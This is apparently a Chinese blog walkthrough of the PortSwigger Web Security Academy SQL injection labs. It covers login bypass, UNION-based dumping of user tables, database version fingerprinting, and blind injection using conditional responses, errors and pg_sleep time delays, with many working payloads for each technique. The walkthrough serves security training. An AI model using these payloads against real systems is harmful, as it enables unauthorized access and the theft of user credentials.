SQL注入的练兵场

前言

突然发现BurpSuite练兵场这个系列,没玩过,本来不想再打这个SQL注入练习场,大概看了一下,还是有一些地方值得试试,花了一些时间搞定,算是巩固一下吧

☕️练兵场地址:https://portswigger.net/web-security
☕️SQL注入:SQL 注入备忘单

目录

  • 1、检索隐藏数据☕️
  • 2、颠覆应用逻辑☕️
  • 3、SQL 注入联合攻击☕️
    • 3.1、确定 SQL 注入联合攻击中所需的列数
    • 3.2、查找具有有用数据类型的列
    • 3.3、攻击检索感兴趣的数据
    • 3.4、检索单个列中的多个值
  • 4、检查数据库☕️
    • 4.1、查询数据库类型和版本
    • 4.2、列出数据库的内容
  • 5、盲目 SQL 注入漏洞☕️
    • 5.1、具有条件响应的盲 SQL 注入
    • 5.2、具有条件错误的盲 SQL 注入
    • 5.3、具有时间延迟的盲 SQL 注入
    • 5.4、具有时间延迟和信息检索的盲式 SQL 注入


1、检索隐藏数据☕️

目标:使应用程序显示显示发布与未发布的产品信息,还有任何类型的产品信息

考虑一个显示不同类别产品的购物应用程序,当用户单击"礼品"类别时,其浏览器会请求以下 URL

GET /filter?category=Gifts

SQL注入的练兵场_第1张图片
这会导致应用程序进行 SQL 查询,以从数据库中检索相关产品的详细信息

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

该限制用于隐藏未发布的产品,对于未发布的产品,大概是released = 0

注释后面可能的限制条件

GET /filter?category=Gifts'--

SQL注入的练兵场_第2张图片
注释限制条件后,出现了4个商品

设置or 1=1永真条件,可以使应用程序显示任何类别中的所有产品,包括他们不知道的类别

GET /filter?category=Gifts' or 1=1--

SQL注入的练兵场_第3张图片

2、颠覆应用逻辑☕️

目标:登录绕过,不用密码也能登录

账号登录界面SQL注入的练兵场_第4张图片

注释查询语句后面可能的密码限制条件

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

输入账号:administrator'--,密码随便
SQL注入的练兵场_第5张图片

3、SQL 注入联合攻击☕️

3.1、确定 SQL 注入联合攻击中所需的列数

第一种方法涉及注入一系列子句并递增指定的列索引

' ORDER BY 1--
' ORDER BY 2--

第二种方法涉及提交一系列有效负载,指定不同数量的 null 值

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

通过多次提交payload,确定列数为3列

Get /filter?category=Gifts' UNION SELECT NULL,NULL,NULL--

SQL注入的练兵场_第6张图片

3.2、查找具有有用数据类型的列

在确定了所需列的数量后,探测可用列

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

若位置不对便会报错
通过整形和字符串两种不同数据类型去判断可用的数据类型的列

Get /filter?category=Gifts' UNION SELECT NULL,'aaaa',NULL--

SQL注入的练兵场_第7张图片

3.3、攻击检索感兴趣的数据

已知数据库包含一个使用的表users

' UNION SELECT '12','21'--
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'Users'

确定是字符型并且是两列,构造payload

Get /filter?category=Gifts' UNION SELECT username,password from users--

SQL注入的练兵场_第8张图片

3.4、检索单个列中的多个值

假设查询仅返回单个列,通过将多个值连接在一起,可以轻松地在此单列中一起检索多个值

对Oracle数据库,可以提交输入

' UNION SELECT username || '~' || password FROM users--

SQL注入的练兵场_第9张图片

这是使用双管序列,它是 Oracle 上的字符串串联运算符,注入的查询将字段的值连接在一起,以字符分隔

4、检查数据库☕️

4.1、查询数据库类型和版本

用于确定某些常用数据库类型的数据库版本的查询如下所示
SQL注入的练兵场_第10张图片
(1)、已知查询数据库为Oracle,并利用Oracle的dual表做特定查询

'+UNION+SELECT+NULL,'12'+From+dual--

SQL注入的练兵场_第11张图片
确实查询返回两列,并且为字符型

根据Oracle数据库,利用查询数据库版本的语句

'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

SQL注入的练兵场_第12张图片

(2)、已知查询数据库为MySQL,查询版本信息

首先判断返回的列数,注意,注释符选择--+或者#

'+UNION+SELECT+'abc','def'#

确实列数为两列

根据数据库类型选择查询版本语句

'+UNION+SELECT+'111',@@version--+

SQL注入的练兵场_第13张图片

4.2、列出数据库的内容

(1)、列出非Oracle的数据库内容,找到用户账号密码

大多数数据库类型(Oracle 除外)都有一组称为信息架构的视图,这些视图提供有关数据库的信息

' UNION SELECT 'abc','def'--

在确定列数和类型后

使用以下有效负载检索数据库中的表列表(非Oracle,可选择--+

' UNION SELECT table_name,NULL FROM information_schema.tables--

SQL注入的练兵场_第14张图片

找到用户表,然后检索表中列的详细信息

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_muduks'--

SQL注入的练兵场_第15张图片

找到相应的字段,查看字段的值

' UNION SELECT username_hgjwzm,password_nrnrfb FROM users_muduks--

SQL注入的练兵场_第16张图片

(2)、列出Oracle的数据库内容,找到账号密码

验证查询是否返回的列数,验证方式与其他数据库有点不一样

' UNION SELECT 'abc','def' FROM dual--

使用以下有效负载检索数据库中的列表

' UNION SELECT table_name,NULL FROM all_tables--

SQL注入的练兵场_第17张图片

检索表中列的详细信息

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ODSVMN'--

SQL注入的练兵场_第18张图片

检索所有用户的用户名和密码

' UNION SELECT USERNAME_IULGOY,PASSWORD_EOKMFZ FROM USERS_ODSVMN--

SQL注入的练兵场_第19张图片

5、盲目 SQL 注入漏洞☕️

许多SQL注入实例都是盲目的漏洞,这意味着应用程序不会返回 SQL 查询的结果或其响应中任何数据库错误的详细信息。盲目漏洞仍然可以被利用来访问未经授权的数据,但所涉及的技术通常更复杂且难以执行

5.1、具有条件响应的盲 SQL 注入

不返回 SQL 查询的结果,并且不显示任何错误消息,但是,如果查询返回任何行,应用程序将在页面中包含"欢迎回来"消息

访问商店的首页,拦截和修改包含Cookie的请求,如下是原始Cookie:
Cookie: session=z8DXgfIgCs9po6oagdtY8xs4PzgAiqn7; TrackingId=QvOTi61bx9OKEiJ6

在Cookie后加上

TrackingId=QvOTi61bx9OKEiJ6' AND '1'='1

SQL注入的练兵场_第20张图片
验证响应中显示"欢迎回来"消息

更改输入值

TrackingId=QvOTi61bx9OKEiJ6' AND '1'='2

SQL注入的练兵场_第21张图片
验证响应中未显示"欢迎回来"消息

现在将其更改为

TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users LIMIT 1)='a

验证条件是否为真,确认存在名为users的表

现在将其更改为

TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users WHERE username='administrator')='a

验证条件是否为真,确认存在名为administrator的用户

下一步是确定用户的密码中有多少个字符

TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

然后只要不断测试这个长度值即可,最后测试密码长度为20

下一步是在每个位置测试字符以确定其值

TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

这里可以进行集束爆破,设置两个BP点,同时BP位置和字符

SQL注入的练兵场_第22张图片
进行BP
SQL注入的练兵场_第23张图片
组合密码即可

5.2、具有条件错误的盲 SQL 注入

不会返回 SQL 查询的结果,并且应用程序不会根据查询是否返回任何行而做出任何不同的响应。如果 SQL 查询导致错误,则应用程序将返回自定义错误消息

抓取请求包

SQL注入的练兵场_第24张图片
通过测试Cookie的值判断是否存在注入

  • TrackingId=xyz' 加单引号异常
  • TrackingId=xyz'' 加两个单引号正常,猜测进行SQL查询

现在需要确认服务器正在将注入解释为SQL查询,即错误是SQL语法错误,而不是任何其他类型的错误

  • TrackingId=haoouywlyIj9MWmk'||(SELECT '')||' 异常,猜测需要指定表名
  • TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM dual)||' 正常,猜测Oracle数据库
  • TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM not-a-real-table)||' 异常,猜测不存在的表名

表明后端正在将注入作为 SQL 查询进行处理

验证可能存在的表

TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

注意,此处的条件对于防止查询返回多行非常重要,这会破坏我们的串联,WHERE ROWNUM = 1

确定该表存在用户名administrator

  • TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='gdg')||'
    正常,gdd用户不存在,SELECT ' '不会产生异常

  • TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='gdg')||'
    正常,gdd用户不存在,SELECT TO_CHAR(1/0)不会产生异常

  • TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
    正常,administrator用户存在,SELECT ' '不会产生异常

  • TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
    异常,administrator用户存在,SELECT TO_CHAR(1/0)会产生异常

下一步是确定用户的密码中有多少个字符

TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

因为确定administrator用户存在,如果LENGTH(password)>1成立,to_char(1/0)就会报错,网页显示错误,若LENGTH(password)>n错误,网页显示正常,密码长度就是n,确定长度为20位

然后对密码一位位进行爆破

TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

5.3、具有时间延迟的盲 SQL 注入

处理查询时,可能会导致数据库中的时间延迟

SQL注入的练兵场_第25张图片
访问商店的首页,并拦截和修改包含Cookie的请求

TrackingId=XZMyVcav3Hry86KZ'||pg_sleep(10)--

SQL注入的练兵场_第26张图片

提交请求并观察应用程序需要 10 秒才能响应

5.4、具有时间延迟和信息检索的盲式 SQL 注入

查询的执行会触发条件时间延迟来推断信息

访问商店的首页,并拦截和修改包含Cookie的请求,测试时间盲注

SQL注入的练兵场_第27张图片
接下继续使用case语句测试,符号;的URL编码后是%3B,执行完检查Cookie后,执行我们的SQL语句

  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- 验证应用程序是否需要 10 秒才能响应。
  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- 不超时

然后可以在when后构造payload,判断用户administrator存在

  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- 延时即存在

下一步是确定用户的密码中有多少个字符

  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

确定密码的长度后,下一步是在每个位置测试字符以确定其值

  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

执行该命令延时即说明是对的


你可能感兴趣的:(渗透,sql,数据库,web安全)